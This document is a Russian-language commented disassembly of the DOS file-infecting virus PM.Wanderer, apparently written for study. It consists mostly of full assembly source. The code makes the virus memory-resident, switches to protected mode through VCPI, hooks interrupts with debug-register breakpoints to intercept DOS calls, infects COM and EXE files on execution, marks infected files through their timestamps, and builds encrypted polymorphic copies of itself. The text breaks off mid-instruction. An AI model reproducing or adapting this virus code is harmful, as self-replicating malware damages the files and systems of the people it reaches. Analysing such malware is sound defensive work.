Анализ вируса PM.Wanderer by Старый Ворчун ; File: PM_WAND.COM ; File Type: COM ; Processor: 80386/387 16bit ; Range: 00100h to 00f65h ; Memory Needed: 4 Kb ; Initial Stack: 0000:fffe ; Entry Point: 0000:0100 ; Subroutines: 25 .radix 16 .386p cseg segment para public 'CODE' USE16 assume cs:cseg,ds:cseg,es:cseg,ss:cseg org 0100h ; >>>> нас вызывают здесь <<<< call start ;<00103> ;00100 ;<00103> вирус-popup start: pop si ;тут мы sub si,03 ;начались si mov di,0100h ;все-таки com-файл cld ;0010a ;уперед mov ax,cs ;где код push ds ;0010d mov ds,ax ;там и данные mov es,ax ;со стеком push get_len ;вместо jmp mov bx,00f0h ;антиэвристика mov WORD PTR [bx],0a4f2h ;repnz movsb mov WORD PTR [bx+02],0c361h ;popa и ret mov cx,0e64h ;а длиннющий pusha ;хороним jmp bx ;запускаемся в PSP ;перемещаем себя в начало ;----------------Торговая марка---------------------- CopyRight db 10,'WANDERER,(c) P. Demenuk',10 ;00127 ;----------------Торговая марка---------------------- get_len equ $ pop ax ;00140 dec ax ;00141 mov es,ax ;вытаскиваем MCB mov bx,WORD PTR es:[3] ;берем свою длину в пар-ах mov WORD PTR ds:len_par,bx ;00149 inc ax ;0014d mov es,ax ;назад es jmp short alloc ;00150 cut: mov bx,WORD PTR ds:len_par ;из всего что есть sub bx,0600h ;-24К mov ah,4ah ;откусить int 21h ;DOS:4a-modify memory block ;и еще раз alloc: ;хочу осесть в памяти mov bx,0500h ;20К mov ah,48h ;хочу у доски int 21h ;DOS:48-allocate memory jb cut ;нету-сузим mov es,ax ;es на полученный блок xor di,di ;Load register w/ 0 xor si,si ;Load register w/ 0 mov cx,0800h ;0016d mov WORD PTR ds:cs_save,cs ;00170 repz movsw ;переносимся туда push cs ;на будущее push ax ;где выделилось push infect ;по смещению retf ;вместо jmp уходим в блок infect equ $ push cs ;данные pop ds ;на новый код cmp BYTE PTR ds:exe_or_com,00 ;COM? jz com_inf ;да mov ah,62h int 21h ;get PSP этого EXE mov es,bx ;на PSP mov es,WORD PTR es:[2c] ;а вот и окружение xor di,di ;Load register w/ 0 mov cx,8000h ;00192 mov al,01 ;00195 repnz scasb ;ищем ком.строку inc di ;встаем на нее push es ;и pop ds ;ds тудаже mov ax,3d00h ;0019c mov dx,di ;0019f int 21h ;открываем себя xchg ax,bx ;сохраняем handle pop ds ;ds на код mov ax,4200h mov dx,WORD PTR cs:LoOfs ;там mov cx,WORD PTR cs:HiOfs ;мы лежим int 21h ;001b2 ;DOS:42-move file pointer mov ah,3fh ;001b4 mov cx,WORD PTR cs:d008d0 ;001b6 xor dx,dx ;001bb ;Load register w/ 0 int 21h ;001bd ;DOS:3f-read file push ds ;001bf push cs ;001c0 pop ds ;001c1 mov ax,4200h ;001c2 mov dx,WORD PTR ds:d008da ;001c5 xor cx,cx ;001c9 ;Load register w/ 0 int 21h ;001cb ;DOS:42-move file pointer mov cx,WORD PTR ds:d008d8 ;001cd shl cx,1 ;001d1 ;Multiply by 2's shl cx,1 ;001d3 ;Multiply by 2's mov dx,1000h ;001d5 mov ah,3fh ;001d8 int 21h ;001da ;DOS:3f-read file mov ah,3eh ;001dc int 21h ;001de ;DOS:3e-close file mov si,1000h ;001e0 pop ax ;001e3 mov cx,WORD PTR ds:d008d8 ;001e4 jcxz b001f7 ;001e8 ;Jump if CX = ZERO b001ea: add WORD PTR [si+02],ax ;001ea les di,DWORD PTR [si] ;001ed add WORD PTR es:[di],ax ;001ef add si,04 ;001f2 loop b001ea ;001f5 ;Dec CX;Loop if CX>0 b001f7: mov WORD PTR ds:d00094,ax ;001f7 com_inf: mov ax,3567h ;как там EMM int 21h ;DOS:35-get int vector cmp WORD PTR es:[0ch],'XM' ;сидит ли в памяти push cs ;восстановить pop es ;es jnz NotEMM ;00208 ;EMM`a нет mov ax,0babah ;есть ли мы int 21h ;в доске cmp ax,0fa00h ;0020f jnz NotMem ;мы не в памяти sti ;ура я дома NotEMM: Not_EMM equ $ mov ah,49h ;освободить int 21h ;кандидатский блок cmp BYTE PTR ds:exe_or_com,00 ;COM? jz old_com ;нет mov ax,WORD PTR ds:d00094 ;00220 add ax,WORD PTR ds:d008d6 ;00223 push ax ;00227 push WORD PTR ds:d008d4 ;00228 mov ax,WORD PTR ds:d00094 ;0022c sub ax,0010h ;0022f mov es,ax ;00232 mov ds,ax ;00234 jmp short b0025d ;00236 old_com: mov sp,0fffeh ;вертаем все push 0100h ;все pusha ;на место mov si,WORD PTR ds:LoOfs ;берем смещение в файле and si,si ;нулевое? jz exit ;тогда выход mov di,0100h ;00247 add si,di ;0024a cld ;Forward String Opers mov es,WORD PTR ds:cs_save ;0024d mov ds,WORD PTR ds:cs_save ;00251 push es ;00255 push 00f0h ;00256 mov cx,WORD PTR ds:d008d0 ;00259 b0025d: mov ah,4ah ;0025d mov bx,WORD PTR cs:len_par ;0025f int 21h ;00264 ;DOS:4a-modify memory block ret ;00266 exit: mov ax,4c00h int 21h ;DOS:4c-terminate prg NotMem: call coder ;0026c call trace ;0026f mov ax,0de00h ;VCPI установлен? call EMMInt ;int67 mov WORD PTR ds:int20,sp ;00278 mov WORD PTR ds:int20+2,ss ;0027c mov di,AdrPages ;по адресу mov cx,0004h ;положить 4 адреса(16К) GetPages: mov ax,0de04h ;выделенных EMM call EMMInt ;страниц mov DWORD PTR [di],edx ;запомнили scasd ;DI+4 loop GetPages ;Dec CX;Loop if CX>0 mov bx,cs ;готовим add bx,0100h ;адрес xor bl,bl ;00299 ;буфера inc bh ;страниц mov es,bx ;es:di->для очистки mov WORD PTR ds:Buf_GDT,bx ;запомнили xor ax,ax xor di,di mov cx,1000h ;размером 4К repz stosw ;буфер чист mov ax,0de01h ;взять адрес VCPI mov ds,bx ;ds cегмент GDT inc bh ;чуть дальше mov es,bx ;буфер страниц xor di,di ;002b5 ;es:di на него mov si,0130h ;ds:si на GDT(3 элемента) call EMMInt ;int67 push cs ;ds pop ds ;на место mov DWORD PTR ds:BufPages,ebx xor si,si ;в начало таблицы mov cx,0400h ;1024 дискриптора xor bx,bx ;Load register w/ 0 SetTable: mov eax,DWORD PTR es:[si] ;в ax дескриптор cmp eax,00 ;это дескриптор? jnz IsDesc ;не трогаем movzx eax,bx ;расширяем bx в eax sal eax,0ch ;пусть bx будет адресом mov al,67h ;01100111 ;биты параметров xDAxxUWP ;D-бит мусора (как-будто в страницу записали), ;A-бит доступа(как-будто сейчас проц с ней будет что-то делать) ;U-эта страница только для супервизора ;W-в нее можно писать ;P-страница в ОЗУ mov DWORD PTR es:[si],eax ;положить это в таблицу IsDesc: add si,04 ;следующий дескриптор inc bx ;счетчик loop SetTable ;Dec CX;Loop if CX>0 mov eax,DWORD PTR ds:AdrPages ;берем первую страницу mov esi,eax mov al,67h ;устанавливаем все что можно shr esi,0ah ;получаем физический адрес mov DWORD PTR es:[esi],eax ;кладем новый дискриптор mov WORD PTR ds:TSR_CS,cs ;параметр call GetUMB sidt QWORD PTR ds:OldIDT ;сохраняем таблицу int`ов sgdt QWORD PTR ds:OldGDT ;сохраняем гл.таблицу mov esi,00000100h ;смещение таблицы push es ;сегмент UMB pop ds ;на DS mov cx,cs ;берем код movzx ecx,cx ;база sal ecx,04 ;место для стека mov ax,0008h ;1-ый дескриптор mov ebx,0000ffffh ;предел 64К mov dx,009ah ;сегмент 16-раз-го ;кода в памяти push ecx ;сохранить базу push ebx ;сохранить предел call SetDesc ;установить дескриптор mov ax,0010h ;2-ой дескриптор pop ebx ;вытолкнуть предел pop ecx ;вытолкнуть базу mov dx,0092h ;там же сегмент данных в памяти call SetDesc ;установить дескриптор mov ax,0018h ;3-ий дескриптор xor ecx,ecx ;00341 ;вверху стек mov ebx,000000000h ;на 4К mov dx,8092h ;установить call SetDesc ;дескриптор ;один пропускаем mov ax,0028h ;5-ый дескриптор mov cx,ds ;на UMB1 movzx ecx,cx ;база sal ecx,04 ;выровняли push ecx ;заткнули add ecx,10h ;смещение на 16 байт mov dx,0089h ;доступный TSS mov ebx,00000067h ;предел 103 байта call SetDesc ;установить дескриптор pop ecx ;вытолкнули базу add ecx,00000100h ;смещение push cs ;ds pop ds ;на место mov DWORD PTR ds:d00f51,ecx ;запомнили cli ;Turn OFF Interrupts mov ax,cs ;взяли код movzx esi,ax ;раздули mov ax,0de0ch ;защищенный режим sal esi,04 ;выровняли add esi,offset UMB1 ; int 67h ;EMM:переключиться jmp short $-2 ;Защищенный режим >>----------+ ;----------------------------------------------------- | OldOfs1 dw 00 ;смещение старого int1 | OldSeg1 dw 00 ;сегмент старого int1 | SegSS dw 00 ;сегмент стека | SegSP dw 00 ;смещение в стеке | ;----------------------------------------------------- | Int1Hndl: | push bp ;грузим через стек | push ds ;сегмент | push si ;смещение | mov bp,sp ;в теле обработчика DOS | lds si,DWORD PTR [bp+06] ;ахом | cmp WORD PTR [si],9090h ;нопы ? | jz Nops ;да-ура | pop si ;если нет | pop ds ;то | pop bp ;отваливаем | iret ;POP flags and Return | | | ;<003b2> | trace proc near | mov ax,3501h ;взять int 01 | int 21h ;003b5 ;DOS:35-get int vector | mov WORD PTR ds:OldOfs1,bx ;схоронили смещение | mov WORD PTR ds:OldSeg1,es ;схоронили сегмент | mov dx,offset Int1Hndl ;новый обработчик | mov ah,25h ;установить | int 21h ;003c4 ;DOS:25-set int vector | push cs ;003c6 | push cs ;003c7 | mov WORD PTR ds:SegSS,ss ;003c8 | mov WORD PTR ds:SegSP,sp ;003cc | cld ;Forward String Opers | pushf ;на случай не обнаружения DOS | pushf ;Push flags on Stack | pop ax ;вытаскиваем флаг | or ax,0100h ;устанавливаем TF | push ax ;в стек его пока | xor ax,ax ;003d8 ;данные | mov ds,ax ;на область векторов | mov ah,30h ;функция-версия DOS | push cs ;восстанавливаем | pop es ;es | popf ;003e0 ;трассируем | call DWORD PTR ds:[84] ;эмулируем DOS | pop es ;восстановить | xor ax,ax ;003e6 ;на область | mov ds,ax ;векторов | mov di,offset DOSSeg ;мы <----+ | mov si,0084h ;int21---+ | movsw ;скопировать адреса | movsw ;обработчиков | pop ds ;вытащили оба cs`a | push cs ;для es и ret`a надо положить | jmp short TraceOff | Nops: | mov ss,WORD PTR cs:SegSS ;восстанавливаем | mov sp,WORD PTR cs:SegSP ;свой стек | mov si,WORD PTR [si+08] ;устанавливаемся на DOS | lodsw ;вытаскиваем сегмент | mov WORD PTR cs:DOSSeg,ax ;00404 | lodsw ;вытаскиваем смещение | pop ds ;восстановить ds | mov WORD PTR ds:DOSOfs,ax ;0040a | TraceOff: | xor ax,ax ;0040d ;на область прерываний | mov es,ax ;es | mov di,0004h ;int1<---+ | mov si,0398h ;intE6---+ | movsw ;скопировать | movsw ;адрес обработчика | pop es ;восстановить | ret ;ret из trace | ;----------------------------------------------------- | ;>> PROTECT MODE ENTERY POINT <<------------------------+ ;----------------------------------------------------- mov ax,0010h ;устанавливаемся ;<ss = 0010> mov ss,ax ;на выделенные нам сегменты mov sp,1000h ;стека ;<es = 0010> mov es,ax mov ax,0018h ;<ds = 0018> mov ds,ax ;и данных mov esi,DWORD PTR es:OldGDT+2 ;база старой таблицу movzx ecx,WORD PTR es:OldGDT ;предел старой таблицы inc ecx ;вычисляем shr ecx,03 ;кол-во дескрипторов xor bx,bx ;Load register w/ 0 xor eax,eax ;Load register w/ 0 cycle_gdt: add esi,08 ;следующий add bx,08 ;счетчик cmp eax,DWORD PTR [esi+04] ;конец ли jnz more_d ;нет mov WORD PTR es:OurDesc,bx ;запомнили номер дескриптора mov ebx,00000fffh ;предел mov ecx,DWORD PTR es:AdrPages ;то что мы выделяли mov dx,009bh ;сегмент кода call SetDesc ;установить дескриптор add esi,08 ;следующий xor ecx,ecx ;сегмент данных mov ebx,000000000h ;4К mov dx,8092h call SetDesc jmp short out_loop ;вываливаемся more_d: loop cycle_gdt ;крутимся jmp short $-2 ;таблица полна - висим out_loop: mov esi,00100000h ;ищем nxt_page: add esi,00001000h ;странички cmp DWORD PTR [esi],67h ;которые в памяти jnz nxt_page ;нет - дальше cmp DWORD PTR [esi+04],1067h jnz nxt_page mov DWORD PTR es:ram_page,esi movzx eax,WORD PTR ds:[84] ;смещение DOS movzx ebx,WORD PTR ds:[86] ;сегмент DOS sal ebx,04 add eax,ebx mov DWORD PTR es:int21adr,eax call set_brk ;стопоримся на нее mov BYTE PTR es:Buf_GDT+2,00 ;004c0 mov eax,DWORD PTR es:AdrPages ;наша страница mov ebx,eax mov al,67h ;в памяти shr ebx,0ah ;физический адрес mov DWORD PTR [esi+ebx],eax ;каталог+таблица=дескриптор mov di,int1_ptr ;туда мы положим mov ecx,00000001h ;int1 mov ax,offset new_int1 ;новый обработчик call set_idt ;установить add di,06 ;перешагиваем старое int1 mov ecx,00000009h ;int9 mov ax,offset new_int9 ;новый обработчик call set_idt ;установить push es ;их push ds ;поменяли pop es ;местами pop ds xor esi,esi ;Load register w/ 0 mov edi,DWORD PTR ds:AdrPages cld ;Forward String Opers mov ecx,00000400h ;1024 дескриптора repz movsd ;перекачать movzx eax,WORD PTR ds:int20 ;в ax-адрес выхода mov bx,WORD PTR ds:TSR_CS ;наш сегмент внизу ;cx=0 push cx ;cs:0 push bx ;в стек push cx ;cs:0 push bx ;в стек push cx ;cs:0 push bx ;в стек push cx ;cs:0 push bx ;в стек push cx ;адрес выхода push WORD PTR ds:int20+2 ;в стек push es ;S push ds ;W pop es ;A pop ds ;P push eax ;адрес выхода в стек pushfd ;Push flags on Stack push cx ;cs:0 push bx ;в стек push 00 ;адрес push Not_EMM ;входа в код movzx esp,sp ;сдуть sp mov ax,0de0ch ;00538 call FWORD PTR cs:BufPages ;перейти new_int9: push eax ;будем портить mov ax,dr7 ;управление отладкой and ax,030ah ;разрешен останов? cmp ax,030ah ;да jz break_ok ;далее call set_brk ;устанавливаем точки останова break_ok: in al,60h ;что нажали? cmp al,53h ;(S) ;POP_KEY jnz old_int9 ;не то call set_ds ;установить ds mov al,BYTE PTR ds:state_kbd and al,0ch ;проверяем состояние cmp al,0ch ;оно jnz old_int9 ;на старое xor eax,eax ;нет mov dr7,ax ;отключить останов old_int9: pop eax jmp FWORD PTR cs:int9_ptr old_int1: pop eax jmp FWORD PTR cs:int1_ptr new_int1: push eax ;будем портить mov ax,dr6 ;состояние отладки test al,03 ;0057e ;условия останова наши jz old_int1 ;нет-на старый test al,02 ;00582 ;перезагрузка? jz dos_brk ;нет-значит DOS xor eax,eax ;00586 ;да mov dr7,ax ;все отменяем pop eax iretd ;и отваливаем dos_brk: xor eax,eax ;сбросить mov dr6,ax ;состояния pop eax or BYTE PTR [esp+esp+0ah],01 ;установиьт флаг cmp ax,0babah ;нашa ф-ция БАБА jnz other_func ;другая ф-ция DOS mov ax,0facch ;да мы в памяти end_int: iretd ;POP flags and Return other_func: cmp ax,3506h ;дать int6 je get_int6 cmp ax,4b00h ;запуск jz exec_open cmp ah,3dh ;открыть файл jnz end_int test al,0fh ;на запись jnz end_int exec_open: cmp BYTE PTR cs:busy,01 ;качать? je is_time ;да pushad ;нет call set_ds mov es,ax ;es на ds mov ecx,DWORD PTR cs:AdrPages ;наш адрес xor ebp,ebp ;005d4 ;1-ый дескриптор mov esi,00000090h save_desc: mov edx,DWORD PTR cs:[AdrPages+4+ebp*4] call desc_edx ;установить новый ;сохранить старый mov DWORD PTR [ecx+ebp*4+AdrPages+10h],ebx inc esi inc bp cmp bp,03 jnz save_desc mov esi,DWORD PTR cs:AdrPages mov edi,00090000h ;там же mov BYTE PTR [esi+busy],01 ;заняты mov DWORD PTR [esi+44h],esp ;законный обработчик int21 cld ;Forward String Opers mov ecx,00000400h ;1024 дескриптора repz movsd ;закачать(резервируем) mov ax,ss ;ds mov ds,ax ;на стек mov esi,esp ;esi на параметры mov edi,DWORD PTR cs:AdrPages mov ecx,00000011h ;17 байт repz movsd ;00632 ;в стек popad ;извлечь mov eax,00009000h ;00638 push eax ;0063e push eax ;00640 push DWORD PTR [esp+esp+20h] ;00642 push DWORD PTR [esp+esp+20h] ;00648 push eax ;0064e push 00000ffeh ;ты будешь sp push 00023000h ;00656 push eax ;0065c mov eax,body1 ;ты будешь ip push eax ;00664 iretd ;POP flags and Return get_int6: pushad mov bx,cs ;ds mov ds,bx ;на cs add bx,8 ;чуть дальше mov es,bx ;es mov esi,offset data_49 ;si=6c6 mov bp,2 cld ;уперед loc_26: mov edi,90000h ;куда mov eax,[si] ;читаем loc_27: dec edi ;не все ли jz short loc_28 ;да cmp es:[edi],eax ;нет-сличаем jne loc_27 ;пока не равно movzx ebx,byte ptr [si+4] ;др.адресочек mov edx,[si+5] ;и др.байтик cmp es:[edi][ebx],edx ;сличаем jne loc_27 ;нет-далее movsx ebx,byte ptr [si+9] add edi,ebx movzx ecx,byte ptr [si+0Ah] add si,0Bh ;длина блока rep movs byte ptr es:[edi],[esi] ;пока cx>0 Mov [si] to es:[di] jmp short loc_29 ;нашли-помаемся еще раз loc_28: movzx ax,byte ptr [si+0Ah] ;кол-во блоков add si,ax ;сдвинули add si,0Bh ;длина блока loc_29: dec bp ;еще попытка jnz loc_26 ;не последняя-вперед jmp end_21 ;последняя-отваливаем ;----------------------------------------------- data_49 dd 8132C683h ;06C6 db 0Ah ;+4 dd 9A9C4E68h ;+5 db 0Dh ;+9 db 02h ;+a dd 568D03EBh ;06D1 db 0D6h ;+4 db 89360503h ;+5 dd 07h ;+9 db 8Bh ;+a db 0FCh db 11h,0D1h ;xor ax,ax db 0E6h, 83h ;in al,83h ;----------------------------------------------- dec BYTE PTR [bp+si] ;006e1 jnz b006e7 ;006e3 ;Jump not equal(ZF=0) xor ax,ax ;006e5 ;Load register w/ 0 b006e7: mov WORD PTR [bp+si-2ah],ax ;006e7 shr si,1 ;006ea ;Divide by 2's add al,06 ;006ec xchg ax,bx ;006ee body1 equ $ xor ax,ax ;будем искать mov di,dx ;ds:dx на имя файла mov cx,0041h ;max push ds ;es:di pop es ;на строку cld ;Forward String Opers repnz scasb ;ищем jcxz no_look jmp short ive_got no_look: jmp call_int ive_got: mov ax,WORD PTR [di-04] ;расширение ;'EX'=5845h, 'CO'=4f43h and ax,0f0fh ;масочку cmp ax,0f03h ;м.б. COM jz exe_com cmp ax,0805h ;м.б. EXE jz exe_com jmp call_int exe_com: mov si,di sub si,06 ;перед точкой ;на 8-ом символе стоим std ;Backwards String Ops mov cx,0007h ;максимум (8 символов) xor bx,bx nxt_char: lodsb ;взяли and al,1fh ;маску add bl,al ;копим loop nxt_char cld ;Forward String Opers cmp bl,3fh ;это COMMAND? jnz can_infect ;нет - заражаем jmp call_int can_infect: mov ax,3d02h ;открыть для r/w call DOSInt xchg ax,bx ;описатель в bx push cs push cs pop ds pop es call GetTime mov ax,5700h ;взять дату/время файла call DOSInt mov WORD PTR ds:date_file,dx mov WORD PTR ds:time_file,cx and cl,1fh ;признак заражения cmp cl,11h ;да? jz close_file ;отваливаем and BYTE PTR ds:time_file,0e0h ;нет or BYTE PTR ds:time_file,11h ;устанавливаем признак mov dx,2000h ;буфер mov ah,3fh ;читать из файла mov cx,1000h ;4К call DOSInt cmp ax,1000h ;мы их прочли jnz close_file ;нет-отвалили call ToEOF ;да-в конец файла mov WORD PTR ds:LoOfs,ax ;схоронили mov WORD PTR ds:HiOfs,dx ;смещение cmp ax,0f000h ;мы умещаемся? ja close_file ;нет-отвалить cmp WORD PTR ds:buf_file,5a4dh ;EXE-шник jz exe_write ;да mov BYTE PTR ds:exe_or_com,00 ;COM call s6 ;<0087c> ;0078a push cx ;0078d mov ah,40h ;0078e mov dx,2000h ;00790 call DOSInt ;<0086e> ;00793 call ToBOF ;<00858> ;00796 pop cx ;00799 mov ah,40h ;0079a mov dx,1000h ;0079c call DOSInt ;<0086e> ;0079f m007a2: mov cx,WORD PTR ds:time_file mov dx,WORD PTR ds:date_file mov ax,5701h ;установить дату/время call DOSInt close_file: mov ah,3eh ;закрыть call DOSInt call_int: mov ax,4b00h ;вызываем обработчик int 21h ;DOS:4b-execute prg exe_write: cmp WORD PTR ds:PageCnt,05 ;007ba jb close_file ;007bf ;Jump if < (no sign) cmp WORD PTR ds:MaxMem,-01 ;007c1 jnz close_file ;007c6 ;Jump not equal(ZF=0) mov BYTE PTR ds:exe_or_com,01 ;007c8 xor ax,ax ;007cd ;Load register w/ 0 xchg ax,WORD PTR ds:ReloCnt ;007cf mov WORD PTR ds:d008d8,ax ;007d3 cmp ax,1000h ;007d6 ja close_file ;007d9 ;Jump if > (no sign) mov ax,WORD PTR ds:TablOff ;007db mov WORD PTR ds:d008da,ax ;007de mov eax,DWORD PTR ds:LoOfs ;007e1 movzx ecx,WORD PTR ds:HdrSize ;007e5 sal ecx,04 ;007eb sub eax,ecx ;007ef cmp eax,00001000h ;007f2 jb close_file ;007f8 ;Jump if < (no sign) mov si,2014h ;007fa mov di,08d4h ;007fd movsw ;00800 ;Mov DS:[SI]->ES:[DI] movsw ;00801 ;Mov DS:[SI]->ES:[DI] xor ax,ax ;00802 ;Load register w/ 0 mov di,2014h ;00804 stosw ;00807 ;Store AX at ES:[DI] stosw ;00808 ;Store AX at ES:[DI] call ToBOF ;<00858> ;00809 mov cx,0100h ;0080c mov ah,40h ;0080f mov dx,2000h ;00811 call DOSInt ;<0086e> ;00814 xor cx,cx ;00817 ;Load register w/ 0 mov dx,WORD PTR ds:HdrSize ;00819 sal dx,04 ;0081d push dx ;00820 mov ax,4200h ;00821 call DOSInt ;<0086e> ;00824 mov dx,2000h ;00827 mov ah,3fh ;0082a mov cx,1000h ;0082c call DOSInt ;<0086e> ;0082f call s6 ;<0087c> ;00832 pop dx ;00835 push cx ;00836 xor cx,cx ;00837 ;Load register w/ 0 mov ax,4200h ;00839 call DOSInt ;<0086e> ;0083c mov ah,40h ;0083f pop cx ;00841 push cx ;00842 mov dx,1000h ;00843 call DOSInt ;<0086e> ;00846 call ToEOF ;<00863> ;00849 pop cx ;0084c mov dx,2000h ;0084d mov ah,40h ;00850 call DOSInt ;<0086e> ;00852 jmp m007a2 ;00855 trace endp ;<00858> ToBOF proc near ;переместить указатель на начало файла mov ax,4200h ;LSEEK xor dx,dx ;Load register w/ 0 xor cx,cx ;Load register w/ 0 call DOSInt ;int21 ret ;00862 ToBOF endp ;<00863> ToEOF proc near ;переместить указатель на конец файла xor dx,dx ;Load register w/ 0 xor cx,cx ;Load register w/ 0 mov ax,4202h ;LSEEK call DOSInt ;int21 ret ;0086d ToEOF endp ;<0086e> DOSInt proc near ;эмулим DOS pushf ;Push flags on Stack db 09ah ;FAR call in non-EXE DOSSeg: dw 0 DOSOfs: dw 0 jnb DOSOk ;есть ошибки mov ax,4b00h int 21h ;DOS:4b-execute prg DOSOk: ret ;отваливаем DOSInt endp ;<0087c> s6 proc near push bx ;схоронить handle mov ax,0ffffh ;-1 call get_key mov WORD PTR ds:key,ax ;ключ call coder ;кодируем mov si,0100h ;туда mov bp,si ;хороним mov cx,int1_ptr-2-100h ;наша общая длина mov di,1000h ;те прочитанных 4К mov ax,0160h ;00894 mov bx,si ;00897 pusha ;00899 push WORD PTR ds:HHMM ;0089a push WORD PTR ds:SSMS ;0089e call s8 ;<008dc> ;008a2 mov WORD PTR ds:d008d0,cx ;008a5 pop WORD PTR ds:SSMS ;008a9 pop WORD PTR ds:HHMM ;008ad popa ;008b1 call s8 ;<008dc> ;008b2 call coder ;<008ba> ;008b5 pop bx ;008b8 ret ;008b9 s6 endp ;<008ba> coder proc near pusha ;схоронить mov si,body1 ;шифруемый mov cx,00c6h ;длиной mov ax,WORD PTR ds:key ;ключ cod_cycl: xor WORD PTR [si],ax ;ксорим inc si ;дале inc si ;дале loop cod_cycl ;лупим popa ;востановить ret ;----------------------------------------------------- LoOfs dw 00 ;008cc .. HiOfs dw 00 ;008ce .. d008d0 db 00,00 ;008d0 .. key dw 00 ;008d2 .. d008d4 db 00,00 ;008d4 .. d008d6 db 00,00 ;008d6 .. d008d8 db 00,00 ;008d8 .. d008da db 00,00 ;008da .. ;----------------------------------------------------- coder endp ;<008dc> s8 proc near d009ba equ 0009bah d009f7 equ 0009f7h d009fe equ 0009feh mov WORD PTR ds:d000b4,di ;008dc mov WORD PTR ds:d000b2,bp ;008e0 mov WORD PTR ds:d0009c,0000h ;008e4 mov BYTE PTR ds:d00084,0c3h ;008ea mov WORD PTR ds:d000ac,cx ;008ef push cs ;008f3 pop es ;008f4 sub ax,bx ;008f5 call get_key ;<00d8d> ;008f7 add ax,bx ;008fa mov WORD PTR ds:d000a2,ax ;008fc add di,ax ;008ff repz movsb ;00901 ;Mov DS:[SI]->ES:[DI] mov ax,0002h ;00903 call get_key ;<00d8d> ;00906 mov WORD PTR ds:d000aa,ax ;00909 mov ax,0005h ;0090c call get_key ;<00d8d> ;0090f add al,0ah ;00912 xchg ax,cx ;00914 mov ax,WORD PTR ds:d000a2 ;00915 div cl ;00918 sub cl,04 ;0091a mov BYTE PTR ds:d000ae,cl ;0091d xor ah,ah ;00921 ;Load register w/ 0 mov WORD PTR ds:d000a4,ax ;00923 mov al,03 ;00926 call get_key ;<00d8d> ;00928 inc al ;0092b or BYTE PTR ds:d009ba,al ;0092d mov BYTE PTR ds:d00d77,al ;00931 call s11 ;<00b36> ;00934 mov di,WORD PTR ds:d000b4 ;00937 call s12 ;<00b3e> ;0093b mov bx,0a27h ;0093e add bx,WORD PTR ds:d000aa ;00941 mov al,BYTE PTR [bx] ;00945 mov BYTE PTR ds:d000af,al ;00947 mov dl,BYTE PTR [bx+02] ;0094a mov BYTE PTR ds:d00d78,dl ;0094d mov bp,WORD PTR ds:d000a2 ;00951 add bp,WORD PTR ds:d000b2 ;00955 call s11 ;<00b36> ;00959 call s10 ;<00ad3> ;0095c mov dl,BYTE PTR ds:d00d77 ;0095f mov bp,WORD PTR ds:d000ac ;00963 call s11 ;<00b36> ;00967 shr cx,1 ;0096a ;Divide by 2's call s10 ;<00ad3> ;0096c mov BYTE PTR ds:d00d7a,01 ;0096f mov WORD PTR ds:d000a0,di ;00974 call s11 ;<00b36> ;00978 shr cx,1 ;0097b ;Divide by 2's call s12 ;<00b3e> ;0097d mov cl,BYTE PTR ds:d000ae ;00980 xor ch,ch ;00984 ;Load register w/ 0 b00986: push cx ;00986 call s9 ;<00a2b> ;00987 call s11 ;<00b36> ;0098a call s12 ;<00b3e> ;0098d pop cx ;00990 loop b00986 ;00991 ;Dec CX;Loop if CX>0 mov al,40h ;00993 or al,BYTE PTR ds:d00d78 ;00995 stosb ;00999 ;Store AL at ES:[DI] call s11 ;<00b36> ;0099a call s12 ;<00b3e> ;0099d mov cx,di ;009a0 sub cx,WORD PTR ds:d000a0 ;009a2 inc cx ;009a6 inc cx ;009a7 push si ;009a8 mov si,09bah ;009a9 movsw ;009ac ;Mov DS:[SI]->ES:[DI] movsw ;009ad ;Mov DS:[SI]->ES:[DI] movsw ;009ae ;Mov DS:[SI]->ES:[DI] pop si ;009af add cx,04 ;009b0 neg cx ;009b3 mov WORD PTR [di-02],cx ;009b5 jmp short b009c8 ;009b8 dec ax ;009ba jz m009c0 ;009bb ;Jump if equal (ZF=1) jmp m009c0 ;009bd m009c0: mov al,0e2h ;009c0 stosb ;009c2 ;Store AL at ES:[DI] xchg al,cl ;009c3 neg al ;009c5 stosb ;009c7 ;Store AL at ES:[DI] b009c8: mov cx,WORD PTR ds:d000a2 ;009c8 add cx,WORD PTR ds:d000b4 ;009cc sub cx,di ;009d0 mov BYTE PTR ds:d00d7a,00 ;009d2 call s12 ;<00b3e> ;009d7 push di ;009da mov cx,WORD PTR ds:d000ac ;009db mov bx,WORD PTR ds:d000a2 ;009df add bx,WORD PTR ds:d000b4 ;009e3 mov al,BYTE PTR ds:d00d78 ;009e7 or BYTE PTR ds:d009f7,al ;009ea or BYTE PTR ds:d009fe,al ;009ee mov ax,WORD PTR ds:data_93 ;009f2 sti ;009f5 ;Turn ON Interrupts mov ax,bx ;009f6 b009f8: cli ;009f8 ;Turn OFF Interrupts call WORD PTR ds:data_93 ;009f9 sti ;009fd ;Turn ON Interrupts inc ax ;009fe loop b009f8 ;009ff ;Dec CX;Loop if CX>0 pop cx ;00a01 mov dx,WORD PTR ds:d000b4 ;00a02 sub cx,dx ;00a06 add cx,WORD PTR ds:d000ac ;00a08 mov WORD PTR ds:data_93,0084h ;00a0c mov WORD PTR ds:data_94,0084h ;00a12 mov al,0f8h ;00a18 and BYTE PTR ds:d009f7,al ;00a1a and BYTE PTR ds:d009fe,al ;00a1e and BYTE PTR ds:d009ba,al ;00a22 ret ;00a26 ;----------------------------------------------------- add al,05 ;00a27 push es ;00a29 pop es ;00a2a s8 endp ;<00a2b> s9 proc near mov ax,0007h ;00a2b call get_key ;<00d8d> ;00a2e sal ax,02 ;00a31 mov si,offset data100 ;00a34 add si,ax ;00a37 mov bx,WORD PTR ds:data_93 ;00a39 cmp al,14h ;00a3d ja b00a78 ;00a3f ;Jump if > (no sign) mov cx,WORD PTR [si] ;00a41 or ch,BYTE PTR ds:d000af ;00a43 mov WORD PTR [di],cx ;00a47 mov cx,WORD PTR [si+02] ;00a49 or ch,BYTE PTR ds:d000af ;00a4c scasw ;00a50 ;Flags = AX - ES:[DI] cmp al,0ch ;00a51 jb b00a5e ;00a53 ;Jump if < (no sign) mov WORD PTR [bx-02],cx ;00a55 sub WORD PTR ds:data_93,02 ;00a58 ret ;00a5d b00a5e: mov al,0ffh ;00a5e call get_key ;<00d8d> ;00a60 mov WORD PTR ds:d0009c,di ;00a63 mov WORD PTR ds:d0009e,bx ;00a67 stosb ;00a6b ;Store AL at ES:[DI] mov WORD PTR [bx-03],cx ;00a6c mov BYTE PTR [bx-01],al ;00a6f sub WORD PTR ds:data_93,03 ;00a72 ret ;00a77 b00a78: cmp WORD 